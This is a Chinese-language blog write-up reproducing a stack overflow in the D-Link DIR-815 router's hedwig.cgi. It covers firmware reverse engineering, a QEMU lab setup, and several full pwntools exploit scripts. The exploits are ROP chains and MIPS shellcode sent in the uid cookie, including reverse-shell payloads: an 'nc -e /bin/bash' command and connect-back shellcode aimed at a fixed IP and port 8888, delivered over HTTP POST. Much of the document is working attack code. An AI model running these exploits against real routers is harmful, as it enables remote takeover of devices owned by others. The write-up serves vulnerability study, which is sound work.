DIR-815 栈溢出漏洞
环境工具准备
sasquatch
1 2 3 4 5 6 7 8
| # 安装依赖库文件 sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev # 下载源码 git clone https://github.com/devttys0/sasquatch.git # 源码的编译 (cd sasquatch && ./build.sh)
|
固件下载
- DIR-815A1_FW101SSB03.bin
- File DIR-815_FIRMWARE_1.01.ZIP — Firmware for D-link DIR-815
- [下载]D-LINK路由器固件–DIR-815_FIRMWARE_1.01-安全工具-看雪-安全社区|安全招聘|kanxue.com
解压
二进制文件逆向分析

可以看见,/htdocs/web/hedwig.cgi是/htdocs/cgibin的软链接,因此,我们需要逆向分析的二进制文件是/htdocs/cgibin
用ida9.0打开cgibin ,开始分析

在main函数中发现hedwigcgi,进入该函数分析
hedwigcgi函数分析

先获取环境环境变量,REQUEST_METHOD,当这个值为POST时,程序继续运行cgibin_parse_request(),进入该函数分析

发现似乎是解析获取环境变量的,返回上层函数,往下分析

接下来会执行sess_get_uid()函数,进入函数分析


如果v2也就是”=”前面的字符串是uid,就会把v4的值返回,返回上层函数继续分析

这里的string就是处理了uid之后的内容,sprintf 函数存在溢出的可能。

在函数后面,有个类似的sprinf,而且两个sprintf之间没有对v4 改变,所以v20和string是一样的。v27只有1024个字节大小,所以可以溢出。

因为haystack默认值为0,所以要控制它为1,才能不进入if。同时上面的路径要存在,否则也会进入if里。如何控制haystack呢?
haystack变量控制分析

通过交叉引用查看,发现在sub_409A6c中有对该变量的操作, 继续查看该函数的交叉引用

发现在cgibin_parse_request中有调用

在这里进行了调用,参数是a1是sub_409ac6,

这个地址,第一次进循环就正确,此时应该调用的是sub_0x403b10函数,继续

调用了sub_402ffc 函数,继续进入分析


这里会进一步调用sub_402b40函数,参数&v11,这个地址与我们的v14相邻,而v14被赋值为了关键函数的地址。继续深入分析

a1就是刚才的&v11,这里作为Dword指针,v9就是我们的sub_409A6c函数,参数也是刚才保存在栈上的数据。
因此,要执行到有溢出漏洞的地方必须满足环境变量REQUEST_URI中必须有内容,环境变量CONTENT_TYPE仍然是老规矩application/x-www-form-urlencoded,要是POST方法
ROP链构造
准备工作
- 先在var目录下创建一个tmp文件夹
- mipsrop下载[[环境搭建 & 工具]]
纯ROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x7F738000 payload = b'a'*0x3cd payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1 payload += p32(libc_base + 0x159F4) # s1 move $t9, $s0 (=> jalr $t9) payload += b'a'*4 payload += p32(libc_base + 0x6DFD0) # s3 /bin/sh payload += b'a'*(4*2) payload += p32(libc_base + 0x32A98) # s6 addiu $s0, 1 (=> jalr $s1) payload += b'a'*(4*2) payload += p32(libc_base + 0x13F8C) # ra move $a0, $s3 (=> jalr $s6) payload = b"uid=" + payload post_content = "peruy=pwner" io = process(b""" qemu-mipsel -L ./ \ -0 "hedwig.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=11 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE=\"""" + payload + b"""\" \ -E REQUEST_URI="2333" \ ./htdocs/cgibin """, shell = True) io.send(post_content) io.interactive()
|
ROP + shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import * context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x7F738000 payload = b'a'*0x3cd payload += b'a'*4 payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9) payload += b'a'*4 payload += p32(libc_base + 0x56BD0) # s3 sleep payload += b'a'*(4*5) payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1) payload += b'a'*0x18 payload += b'a'*(4*4) payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9) payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4) shellcode = asm(''' slti $a2, $zero, -1 li $t7, 0x69622f2f sw $t7, -12($sp) li $t6, 0x68732f6e sw $t6, -8($sp) sw $zero, -4($sp) la $a0, -12($sp) slti $a1, $zero, -1 li $v0, 4011 syscall 0x40404 ''') payload += b'a'*0x18 payload += shellcode payload = b"uid=" + payload post_content = "peruy=pwner" io = process(b""" qemu-mipsel -L ./ \ -0 "hedwig.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH=11 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE=\"""" + payload + b"""\" \ -E REQUEST_URI="2333" \ ./htdocs/cgibin """, shell = True) io.send(post_content) io.interactive()
|
虚拟机网络配置
✅ 步骤一:禁用 NetworkManager 对 eth0 和 br0 的管理
编辑或创建一个配置文件:
1
| sudo nano /etc/NetworkManager/conf.d/99-unmanaged-devices.conf
|
添加以下内容:
1 2
| [keyfile] unmanaged-devices=interface-name:eth0
|
保存后重启 NetworkManager:
1
| sudo systemctl restart NetworkManager
|
✅ 步骤二:创建 Netplan 配置文件
备份原来的:
1
| sudo mv /etc/netplan/01-network-manager-all.yaml /etc/netplan/01-network-manager-all.yaml.bak
|
创建新配置:
1
| sudo nano /etc/netplan/01-bridge.yaml
|
内容如下(根据你实际接口名修改,比如 ens33 换成 eth0):
1 2 3 4 5 6 7 8 9 10 11 12 13
| network: version: 2 renderer: networkd ethernets: eth0: dhcp4: no bridges: br0: interfaces: [eth0] dhcp4: yes parameters: stp: false forward-delay: 0
|
⚠️ 注意:
如果你虚拟机里的接口名是 ens33 而不是 eth0,请把上面两处 eth0 改成 ens33。
✅ 步骤三:应用配置
✅ 验证
1 2
| ip addr show br0 ip route
|
你应该能看到 br0 拿到了 DHCP 地址,eth0 没有 IP。
下载镜像
https://people.debian.org/~aurel32/qemu/mipsel/
下载其中的vmlinux-3.2.0-4-4kc-malta内核以及debian_squeeze_mipsel_standard.qcow2镜像文件
qemu系统下
启动脚本
1 2 3 4 5 6 7
| #!/bin/bash sudo qemu-system-mipsel \ -M malta -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -net nic,macaddr=00:16:3e:00:00:01 \ -net tap
|
http_cond
在qemu 中 /root/squashfs-root/ 下创建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| Umask 026 PIDFile /var/run/httpd.pid LogGMT On #开启log ErrorLog /log #log文件 Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 } Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } } Server { ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth1 #对应qemu仿真路由器系统的网卡 Address 192.168.225.129 #qemu仿真路由器系统的IP Port "1234" #对应未被使用的端口 Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } }
|
net.sh
物理机上运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #! /bin/sh sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X sudo iptables -P INPUT ACCEPT sudo iptables -P FORWARD ACCEPT sudo iptables -P OUTPUT ACCEPT sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
|
init.sh
在qemu中squashfs-root下创建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #!/bin/bash echo 0 > /proc/sys/kernel/randomize_va_space cp http_conf / cp sbin/httpd / cp -rf htdocs/ / mkdir /etc_bak cp -r /etc /etc_bak rm /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/ cp lib/libgcc_s.so.1 /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cd / rm -rf /htdocs/web/hedwig.cgi rm -rf /usr/sbin/phpcgi rm -rf /usr/sbin/hnap ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi ln -s /htdocs/cgibin /usr/sbin/phpcgi ln -s /htdocs/cgibin /usr/sbin/hnap ./httpd -f http_conf
|
fin.sh
qemu中squashfs-root下创建,退出时运行
1 2 3 4
| #!/bin/bash rm -rf /etc mv /etc_bak/etc /etc rm -rf /etc_bak
|
开启服务

run.sh
1 2 3 4 5 6 7 8 9 10 11 12 13
| #!/bin/bash export CONTENT_LENGTH="11" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat payload`" export REQUEST_METHOD="POST" export REQUEST_URI="2333" echo "peruy=pwner"|./gdbserver.mipsle 192.168.225.154:6666 /htdocs/web/hedwig.cgi #echo "winmt=pwner"|/htdocs/web/hedwig.cgi unset CONTENT_LENGTH unset CONTENT_TYPE unset HTTP_COOKIE unset REQUEST_METHOD unset REQUEST_URI
|
查找libc 和 偏移

发送payload

EXP
直接发payload
ROP链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'nc -e /bin/bash 192.168.192.128 8888' libc_base = 0x77f34000 payload = b'a'*0x3cd payload += p32(libc_base + 0x53200 - 1) payload += p32(libc_base + 0x169C4) payload += b'a'*(4*7) payload += p32(libc_base + 0x32A98) payload += b'a'*0x18 payload += cmd fd = open("payload", "wb") fd.write(payload) fd.close()
|
ROP+shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import * context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x77f34000 payload = b'a'*0x3cd payload += b'a'*4 payload += p32(libc_base + 0x436D0) payload += b'a'*4 payload += p32(libc_base + 0x56BD0) payload += b'a'*(4*5) payload += p32(libc_base + 0x57E50) payload += b'a'*0x18 payload += b'a'*(4*4) payload += p32(libc_base + 0x37E6C) payload += p32(libc_base + 0x3B974) shellcode = asm(''' slti $a0, $zero, 0xFFFF li $v0, 4006 syscall 0x42424 slti $a0, $zero, 0x1111 li $v0, 4006 syscall 0x42424 li $t4, 0xFFFFFFFD not $a0, $t4 li $v0, 4006 syscall 0x42424 li $t4, 0xFFFFFFFD not $a0, $t4 not $a1, $t4 slti $a2, $zero, 0xFFFF li $v0, 4183 syscall 0x42424 andi $a0, $v0, 0xFFFF li $v0, 4041 syscall 0x42424 li $v0, 4041 syscall 0x42424 lui $a1, 0xB821 # Port: 8888 ori $a1, 0xFF01 addi $a1, $a1, 0x0101 sw $a1, -8($sp) li $a1, 0x83C0A8C0 # IP: 192.168.192.131 sw $a1, -4($sp) addi $a1, $sp, -8 li $t4, 0xFFFFFFEF not $a2, $t4 li $v0, 4170 syscall 0x42424 lui $t0, 0x6962 ori $t0, $t0,0x2f2f sw $t0, -20($sp) lui $t0, 0x6873 ori $t0, 0x2f6e sw $t0, -16($sp) slti $a3, $zero, 0xFFFF sw $a3, -12($sp) sw $a3, -4($sp) addi $a0, $sp, -20 addi $t0, $sp, -20 sw $t0, -8($sp) addi $a1, $sp, -8 addiu $sp, $sp, -20 slti $a2, $zero, 0xFFFF li $v0, 4011 syscall 0x42424 ''') payload += b'a'*0x18 payload += shellcode fd = open("payload", "wb") fd.write(payload) fd.close()
|
通过http报文
ROP链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * import requests context(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'nc -e /bin/bash 192.168.225.128 8888' libc_base = 0x77f34000 payload = b'a'*0x3cd payload += p32(libc_base + 0x53200 - 1) payload += p32(libc_base + 0x169C4) payload += b'a'*(4*7) payload += p32(libc_base + 0x32A98) payload += b'a'*0x18 payload += cmd url = "http://192.168.225.129:1234/hedwig.cgi" data = {"winmt" : "pwner"} headers = { "Cookie" : b"uid=" + payload, "Content-Type" : "application/x-www-form-urlencoded", "Content-Length": "11" } res = requests.post(url = url, headers = headers, data = data) print(res)
|
ROP链+shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| from pwn import * import requests context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x77f34000 payload = b'a'*0x3cd payload += b'a'*4 payload += p32(libc_base + 0x436D0) payload += b'a'*4 payload += p32(libc_base + 0x56BD0) payload += b'a'*(4*5) payload += p32(libc_base + 0x57E50) payload += b'a'*0x18 payload += b'a'*(4*4) payload += p32(libc_base + 0x37E6C) payload += p32(libc_base + 0x3B974) shellcode = asm(''' slti $a0, $zero, 0xFFFF li $v0, 4006 syscall 0x42424 slti $a0, $zero, 0x1111 li $v0, 4006 syscall 0x42424 li $t4, 0xFFFFFFFD not $a0, $t4 li $v0, 4006 syscall 0x42424 li $t4, 0xFFFFFFFD not $a0, $t4 not $a1, $t4 slti $a2, $zero, 0xFFFF li $v0, 4183 syscall 0x42424 andi $a0, $v0, 0xFFFF li $v0, 4041 syscall 0x42424 li $v0, 4041 syscall 0x42424 lui $a1, 0xB821 # Port: 8888 ori $a1, 0xFF01 addi $a1, $a1, 0x0101 sw $a1, -8($sp) li $a1, 0x83C0A8C0 # IP: 192.168.192.131 sw $a1, -4($sp) addi $a1, $sp, -8 li $t4, 0xFFFFFFEF not $a2, $t4 li $v0, 4170 syscall 0x42424 lui $t0, 0x6962 ori $t0, $t0,0x2f2f sw $t0, -20($sp) lui $t0, 0x6873 ori $t0, 0x2f6e sw $t0, -16($sp) slti $a3, $zero, 0xFFFF sw $a3, -12($sp) sw $a3, -4($sp) addi $a0, $sp, -20 addi $t0, $sp, -20 sw $t0, -8($sp) addi $a1, $sp, -8 addiu $sp, $sp, -20 slti $a2, $zero, 0xFFFF li $v0, 4011 syscall 0x42424 ''') payload += b'a'*0x18 payload += shellcode url = "http://192.168.192.133:1234/hedwig.cgi" data = {"winmt" : "pwner"} headers = { "Cookie" : b"uid=" + payload, "Content-Type" : "application/x-www-form-urlencoded", "Content-Length": "11" } res = requests.post(url = url, headers = headers, data = data) print(res)
|
我在这里并没有把4个exp 都打完,我只打了发报文的纯ROP链。shellcode 的exp,懒得改ip 地址了
参考文章
[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com